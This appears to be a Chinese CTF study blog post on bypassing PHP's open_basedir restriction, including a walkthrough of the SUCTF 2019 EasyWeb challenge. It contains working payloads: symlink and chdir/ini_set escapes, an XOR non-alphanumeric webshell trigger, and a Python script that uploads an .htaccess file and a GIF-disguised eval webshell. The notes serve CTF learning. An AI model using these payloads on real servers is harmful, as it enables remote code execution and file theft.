每天都在写,但是还没一个可以上传的。不能让博客长草(

就把之前稍稍整理了一下的小小知识点传一下,就当作是备份了,害怕哪天电脑炸了~

(真的整理得很简单,就跟着网上的整理自己过了一遍,师傅们看个乐就好

open_basedir认识及绕过

open_basedir

open_basedir函数是php中用于限制访问目录的函数
1.可以在php.ini中设置
2.可以用ini_set设置
3.在apache的httpd.conf中的Directory配置
4.httpd.conf中的VritualHost
5.nginx fastcgi.conf


测试过程:
直接在虚拟机上进行以下命令没有实现,但是可以写在php文件中再执行。

1
php -r 'ini_set("open_basedir","/var/www/html/");'

php文件:

1
2
3
4
<?php
ini_set('open_basedir','/var/www/html/');
echo ini_get('open_basedir');
?>

在这里插入图片描述
之后在html目录下写一个php文件尝试访问根目录下的flag,但是报错了

1
2
<?php
file_get_contents('/flag');

以上实现了open_basedir的简单利用

bypass方法

浅谈几种Bypass open_basedir的方法

0x01:命令执行函数绕过

open_basedir函数对命令执行函数没有限制,比如system,所以可以在php文件中修改代码就可以直接得到flag了

1
system('cat /flag');
0x02:symlink函数绕过

利用symlink函数
在这里插入图片描述

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//在当前创建一系列的子目录
mkdir('A');
chdir('A');
mkdir('B');
chdir('B');
mkdir('C');
chdir('C');
mkdir('D');
chdir('D');

//切换当前目录
chdir('..');
chdir('..');
chdir('..');
chdir('..');

//建立链接 a>>A/B/C/D
symlink('A/B/C/D','a');

//建立连接 exp>>A/B/C/D/../../../../flag
symlink('a/../../../../flag','exp');
unlink('a');
mkdir('a');
?>

本来exp是指向了当前目录下a/../../../../flag,但是后来删除了a,所以前面的exp实际指向的是/../../../../flag即向上跨越目录访问根目录下的flag文件

tip:子目录的数量以及..的数量要根据我们要访问的文件在哪,要跨越多少个目录,注意要算上当前的目录

0x03:glob://伪协议绕过

1.结合DirectoryIterator
(只可以访问根目录以及open_basedir限制的目录)
(还是看php手册自己尝试)
DirectoryIterator遍历目录下的所有文件
可以获取文件名
__toString
在这里插入图片描述

1
2
3
4
5
<?php
$a = Directorylterator($_GET['cmd']);
foreach($a as $file){
echo $file->__toString();
}

getFilename
在这里插入图片描述

1
2
3
4
5
6
7
<?php
$a = Directorylterator($_GET['cmd']);
foreach($a as $file){
if($file->isFile()){
echo $file->getFilename();
}
}

2.结合opendir()+readdir()
(只能访问根目录以及open_basedir限制的目录)
在这里插入图片描述
在这里插入图片描述

1
2
3
4
5
<?php
$a = opendir($_GET['cmd']);
if(($file=readdir($a))!==false){
echo $file.'<br>';
}

0x04:chdir()+ini_set()结合
1.首先要注意php文件不能在根目录以及open_basedir所规定的目录下,需要新建一个文件
2.要设置一个可以进行跳转的open_basedir
3.chdir应该是用来进行跳转目录的,但是不知道为什么一定是四个
(先记payload吧)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
mkdir('yuer');
chdir('yuer');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo ini_get('open_basedir');
echo file_get_contents('/flag')
?>

[SUCTF 2019]EasyWeb

  • 无字母数字的webshell
  • 利用python requests上传文件
  • .htaccess
  • bypass open_basedir

bypass open_basedir的新方法
从PHP底层看open_basedir bypass
BUU WEB [SUCTF 2019]EasyWeb
简单例子:
python requests文件上传


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

审计:

  • 1.无字母数字的webshell

直接ban了字母和数字,还有取反符号,还有_,这样只能利用异或^符号进行运算了

1
2
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
  • 2.文件上传的限制

文件拓展名不能出现ph

1
if(preg_match("/ph/i",$extension)) die("^_^");

文件内容里面不能出现标签<?

1
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");

文件头进行限制
在这里插入图片描述

如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。

1
if(!exif_imagetype($tmp_name)) die("^_^"); 
  • 3.函数限制

count_chars($hhh, 3);
3 - 返回由所有使用了的字节值组成的字符串。

解题:
step1:
先解决异或吧,之前用c写过,这次用php写一下(注意有很多可见字符都被ban了,唔,那试试用不可见字符)
这里选择的payload由于函数exif_imagetype的限制,必须存在四个字符一样

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$str = '_GET';
$res = '';
for($i=128;$i<=255;$i++){
for($j=128;$j<=255;$j++){
$a = $i^$j;
if(chr($a)=='_')
echo dechex($i).'^'.dechex($j).'='.chr($a)."\n";
}
}
#${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo
// $_GET[%fe]

step2:
被禁了很多函数,并且从php7开始<script language="php"></script>就不再支持了,所以要从函数get_the_flag,但是还不会python上传文件
在这里插入图片描述
学习requests库的新用法,主要代码
res = requests.post(url, data=data, files=files, headers=headers)
但是上传文件的内容是什么才是最核心的,因为直接禁止了ph的出现,所以没办法通过后缀名简单绕过,那么就要用到.user.ini或者.htaccess
别人的wp:
(但是不是很懂?要去学习.user.ini.htaccess的具体作用)
在这里插入图片描述
(注:代码中data不能省略,虽然一般人应该不会省略;
难点在于.htaccess的文件内容)
最后还是照着大佬的脚本写了一下,实现方法其实简单,难的还是上传的文件内容的各种绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import base64

url = 'http://13d03a1c-3beb-47f6-a48b-baf03f1e046e.node4.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag'

# 要上传两个文件
# 1.shell
# files = {'file': open('report.xls', 'rb')}
shell =b"GIF89a12"+base64.b64encode(b"<?php @eval($_REQUEST['cmd']);?>")


htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahh"
"""

data = {'upload':'Submit'}
files = {'file':('.htaccess',htaccess,'image/gif')}
r = requests.post(url,data=data,files=files)
print((r.text))

files = {'file':('shell.ahh',shell,'image/gif')}
r = requests.post(url,data=data,files=files)
print(r.text)

得到文件上传路径,直接访问shell文件并利用cmd进行命令执行,不过由于phpinfo里面禁了很多函数,所以并不能直接利用命令执行函数得到flag

然后可以发现open_basedir对可访问目录进行限制,那么可以直接上payload

1
2
3
4
5
6
7
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
print_r(scandir('.'));
1
ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));